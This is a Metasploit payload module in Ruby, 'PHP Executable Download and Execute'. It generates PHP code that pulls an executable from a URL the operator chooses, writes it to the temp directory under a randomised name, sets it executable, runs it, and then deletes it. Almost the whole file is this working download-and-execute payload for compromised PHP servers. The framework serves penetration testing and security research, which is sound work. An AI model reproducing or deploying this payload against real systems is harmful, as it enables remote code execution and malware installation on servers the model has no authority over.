1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = :dynamic
8

9
  include Msf::Payload::Php
10
  include Msf::Payload::Single
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'PHP Executable Download and Execute',
17
        'Description' => 'Download an EXE from an HTTP URL and execute it',
18
        'Author' => [ 'egypt' ],
19
        'License' => BSD_LICENSE,
20
        'Platform' => 'php',
21
        'Arch' => ARCH_PHP,
22
        'Privileged' => false
23
      )
24
    )
25

26
    # EXITFUNC is not supported :/
27
    deregister_options('EXITFUNC')
28

29
    # Register command execution options
30
    register_options(
31
      [
32
        OptString.new('URL', [ true, 'The pre-encoded URL to the executable' ])
33
      ]
34
    )
35
  end
36

37
  def php_exec_file
38
    exename = Rex::Text.rand_text_alpha(4..11)
39
    dis = '$' + Rex::Text.rand_text_alpha(4..7)
40
    shell = <<-END_OF_PHP_CODE
41
    #{php_preamble(disabled_varname: dis)}
42
    if (!function_exists('sys_get_temp_dir')) {
43
      function sys_get_temp_dir() {
44
        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
45
        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
46
        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
47
        $tempfile=tempnam(uniqid(rand(),TRUE),'');
48
        if (file_exists($tempfile)) {
49
          @unlink($tempfile);
50
          return realpath(dirname($tempfile));
51
        }
52
        return null;
53
      }
54
    }
55
    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
56
    $fd_in = fopen("#{datastore['URL']}", "rb");
57
    if ($fd_in === false) { die(); }
58
    $fd_out = fopen($fname, "wb");
59
    if ($fd_out === false) { die(); }
60
    while (!feof($fd_in)) {
61
      fwrite($fd_out, fread($fd_in, 8192));
62
    }
63
    fclose($fd_in);
64
    fclose($fd_out);
65
    chmod($fname, 0777);
66
    $c = $fname;
67
    #{php_system_block(cmd_varname: '$c', disabled_varnam: dis)}
68
    @unlink($fname);
69
    END_OF_PHP_CODE
70

71
    # return Rex::Text.compress(shell)
72
    return shell
73
  end
74

75
  #
76
  # Constructs the payload
77
  #
78
  def generate(_opts = {})
79
    return php_exec_file
80
  end
81
end
82

83